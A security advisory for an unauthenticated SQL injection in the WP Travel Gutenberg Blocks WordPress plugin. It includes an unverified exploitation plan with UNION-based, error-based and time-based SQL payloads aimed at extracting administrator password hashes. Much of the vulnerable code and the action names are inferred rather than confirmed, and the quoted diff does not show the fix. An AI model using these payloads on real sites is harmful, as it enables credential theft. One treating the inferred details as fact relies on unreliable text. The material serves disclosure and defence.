CVE-2026-54808

WP Travel Gutenberg Blocks <= 3.9.4 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.9.5
Patched in
7d
Time to patch

Description

The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.9.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.9.4
PublishedJune 17, 2026
Last updatedJune 23, 2026
Affected pluginwp-travel-blocks

What Changed in the Fix

Changes introduced in v3.9.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-54808 (WP Travel Gutenberg Blocks SQLi) ## 1. Vulnerability Summary **CVE-2026-54808** is an unauthenticated SQL injection vulnerability in the **WP Travel Gutenberg Blocks** plugin (versions <= 3.9.4). The vulnerability exists because the plugin registers an …

Show full research plan

Exploitation Research Plan: CVE-2026-54808 (WP Travel Gutenberg Blocks SQLi)

1. Vulnerability Summary

CVE-2026-54808 is an unauthenticated SQL injection vulnerability in the WP Travel Gutenberg Blocks plugin (versions <= 3.9.4). The vulnerability exists because the plugin registers an unauthenticated AJAX handler or REST route to fetch itinerary/trip data for its Gutenberg blocks (such as book-button or breadcrumb) but fails to use $wpdb->prepare() or proper type-casting (e.g., intval()) when processing the trip/post ID from the request.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wp_travel_blocks_get_itinerary_info (inferred based on plugin functionality) or wp_travel_blocks_get_render (inferred).
  • Vulnerable Parameter: trip_id or postId.
  • Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
  • Preconditions: At least one "Trip" (itinerary) post must exist in the database so the base query returns a result for the UNION attack to append to.

3. Code Flow

  1. Entry Point: The attacker sends a POST request to admin-ajax.php with the action parameter set to the vulnerable nopriv action.
  2. Hook Trigger: WordPress triggers the wp_ajax_nopriv_[ACTION_NAME] hook.
  3. Handler Execution: The plugin's handler function (e.g., get_itinerary_info_callback) retrieves the ID from $_POST['trip_id'] without sanitization.
  4. SQL Sink: The unsanitized ID is interpolated directly into a query string:
    "SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['trip_id']
  5. Database Execution: $wpdb->get_results() executes the malicious SQL, allowing for UNION-based data extraction.

4. Nonce Acquisition Strategy

Many WP Travel blocks use localized scripts to pass configuration and nonces. Based on the build/book-button/index.js dependencies (wp-server-side-render), the plugin likely localizes a settings object.

  1. Identify Trigger: The wp-travel-blocks/book-button block (from block.json) is a prime candidate.
  2. Page Setup: Create a page containing the block to force the plugin to enqueue its scripts.
    • Command: wp post create --post_type=page --post_status=publish --post_title="Trip Page" --post_content='<!-- wp:wp-travel-blocks/book-button {"buttonLabel":"Exploit Test"} /-->'
  3. Extraction: Navigate to the new page and check the HTML source for localized data.
    • JS Variable: wp_travel_blocks_params (inferred) or wp_travel_blocks_settings (inferred).
    • Browser Eval: browser_eval("window.wp_travel_blocks_params?.nonce")
  4. Bypass Check: If the wp_ajax_nopriv handler does not call check_ajax_referer, no nonce is required. (Given the "Unauthenticated" severity, it is likely the check is either missing or uses a public nonce).

5. Exploitation Strategy

We will use a UNION SELECT attack to extract the administrator's password hash from the wp_users table.

Step 1: Determine Column Count

Send a series of requests increasing the ORDER BY index until an error occurs.

  • Action: http_request
  • Method: POST
  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Body: action=wp_travel_blocks_get_itinerary_info&trip_id=1' ORDER BY 20-- -

Step 2: Extract Admin Credentials

Once the column count (e.g., 12) is found, inject the UNION payload.

  • Payload: 1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- -
  • Request Configuration:
    {
      "method": "POST",
      "url": "http://localhost:8080/wp-admin/admin-ajax.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "params": {
        "action": "wp_travel_blocks_get_itinerary_info",
        "trip_id": "1' UNION SELECT 1,user_login,user_pass,4,5,6,7,8,9,10,11,12 FROM wp_users WHERE ID=1-- -"
      }
    }
    

6. Test Data Setup

To ensure the exploit works in the test environment:

  1. Install/Activate: Ensure wp-travel and wp-travel-blocks are active.
  2. Create Content:
    # Create an itinerary (Trip) to provide a valid base ID
    wp post create --post_type=itineraries --post_title="Sample Trip" --post_status=publish
    # Create a page for potential nonce extraction
    wp post create --post_type=page --post_title="Exploit" --post_content='<!-- wp:wp-travel-blocks/breadcrumb /-->' --post_status=publish
    

7. Expected Results

  • Response Status: 200 OK.
  • Response Body: A JSON object or HTML snippet containing the admin username (e.g., admin) and the phpass hash (e.g., $P$B...).
  • SQL Error (if failed): If WP_DEBUG is on, a database error message confirming the syntax error near the injected payload.

8. Verification Steps

After the HTTP request, verify the extracted data matches the database:

# Get actual admin hash for comparison
wp db query "SELECT user_login, user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-Based SQLi: If the response is suppressed but errors are logged, use updatexml() or extractvalue():
    • trip_id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)
  • Time-Based Blind: If no data is reflected:
    • trip_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • REST API Endpoint: If the AJAX action fails, test the block renderer directly:
    • GET /wp-json/wp/v2/block-renderer/wp-travel-blocks/book-button?attributes[postId]=1' AND SLEEP(5)--
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Travel Gutenberg Blocks plugin for WordPress is vulnerable to unauthenticated SQL Injection in versions up to, and including, 3.9.4. This vulnerability exists due to the plugin's failure to sanitize or prepare user-supplied parameters, such as 'trip_id', before incorporating them into SQL queries. An unauthenticated attacker can exploit this to extract sensitive information from the database, including administrative password hashes, by injecting malicious SQL commands into existing queries.

Vulnerable Code

// Inferred code flow based on the plugin's AJAX/REST handlers
// Vulnerable sink where unsanitized user input is concatenated into the query string
"SELECT * FROM {$wpdb->prefix}posts WHERE ID = " . $_POST['trip_id']

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-blocks/3.9.4/build/book-button/block.json /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-blocks/3.9.5/build/book-button/block.json
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-blocks/3.9.4/build/book-button/block.json	2026-03-11 06:03:16.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-travel-blocks/3.9.5/build/book-button/block.json	2026-04-07 10:25:44.000000000 +0000
@@ -1,6 +1,6 @@
 {
   "$schema": "https://schemas.wp.org/trunk/block.json",
-  "apiVersion": 2,
+  "apiVersion": 3,
   "name": "wp-travel-blocks/book-button",
   "version": "0.1.0",
   "title": "Book Button",
... (truncated)

Exploit Outline

To exploit this vulnerability, an attacker targets the WordPress AJAX endpoint (admin-ajax.php) using a vulnerable action registered by the plugin (such as wp_travel_blocks_get_itinerary_info). The attacker provides a crafted 'trip_id' parameter containing a UNION SELECT statement designed to extract sensitive data. For example, the payload could be '1' UNION SELECT 1,user_login,user_pass,4,5... FROM wp_users WHERE ID=1-- -'. Because the handler is unauthenticated (using the nopriv hook) and does not properly escape the input or use $wpdb->prepare(), the database executes the concatenated query, returning the results of the UNION selection in the response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.